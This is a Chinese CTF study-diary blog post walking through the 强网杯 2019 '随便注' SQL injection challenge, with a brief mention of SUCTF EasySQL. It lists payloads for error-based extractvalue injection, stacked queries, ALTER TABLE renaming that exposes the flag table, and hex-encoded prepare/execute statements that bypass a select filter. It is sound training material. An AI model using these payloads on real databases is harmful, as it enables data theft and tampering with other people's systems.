CTF学习日记5.31

[强网杯 2019]随便注

学习一下sql注入的常见姿态。sql注入sql注入一些语法,各种注入select whereunion selectselect 1,2,3

sql注入需要先判断注入点和注入,直接点击提交,获得如下页面

 接下来使用1' 1'or 1=1#进行尝试,发现是单引号,接下来进行字段测试

1' order by 1 #//这里要注意,要么就要在数字后面空格再加#要么就用1;#
sql中注释分三种,第一种就是#,第二种是/* */ 第三种是--,这种要用空格隔开才有效,可以用+隔开
因为url中+就是编码后的空格

 到3的时候错误,说明存在两个字段,想到了union联合注入

 说明union被过滤了。并且update报错注入也不行了,只能使用extractvalue(1,concat(0x7e,(想要输入的sql语句),0x7e))但得到的消息也很少

payload:?inject=1'and extractvalue(1,concat(0x7e,(database()),0x7e))--+

接下来有一种办法是使用堆叠注入,就是通过;来注入多个sql语句,在这里,我看其他wp先用了show database,但不知道这个爆出来有什么用,于是我直接使用 show tables来爆出表单

堆叠注入的使用条件十分有限,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行。
 

1'; show columns from words; #

 

0'; show columns from `1919810931114514 `; #

数字要用反引号括起来

 第一种方法:

我们在输入数字1后是有回显的,而且数字表单的字段只有flag一个字段,而words有两个字段,而回显有两个,猜测是words表单的回显,所以在这里我们让系统替我们进行select查询

已知内部查询语句:select id,data from words where id =

然后在这里,我们就需要开始改表单了 alter rename

//alter可以修改已知表的列
alter table "table_name" add "column_name" type;//添加一个列
alter table "table_name" drop "column_name" type;//删除一个列
alter table "table_name" alter column "column_name" type;//改变列的数据类型
alter table "table_name" change "column1" "column2" type;//改列名
alter table "table_name" rename "column1" to "column2";//改列名
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);# 

然后输入1' or 1=1 #即可

第二种方法

因为select被过滤了,所以先将select * from ` 1919810931114514 `进行16进制编码

再通过构造payload得

;SET@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

这里有大小写的原因看monica的博客

进而得到flag

prepare…from…是预处理语句,会进行编码转换。
execute用来执行由SQLPrepare创建的SQL语句。
SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。
预编译

1';prepare s from concat('s','elect','*from `1919810931114514`');
execute s;#

第三种方法第三种方法

[SUCTF 2019]EasySQL

摆烂了,先看别人的题解,后面再来搞把。1  monica的博客 字符串和数字比较  字符串转化数字

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值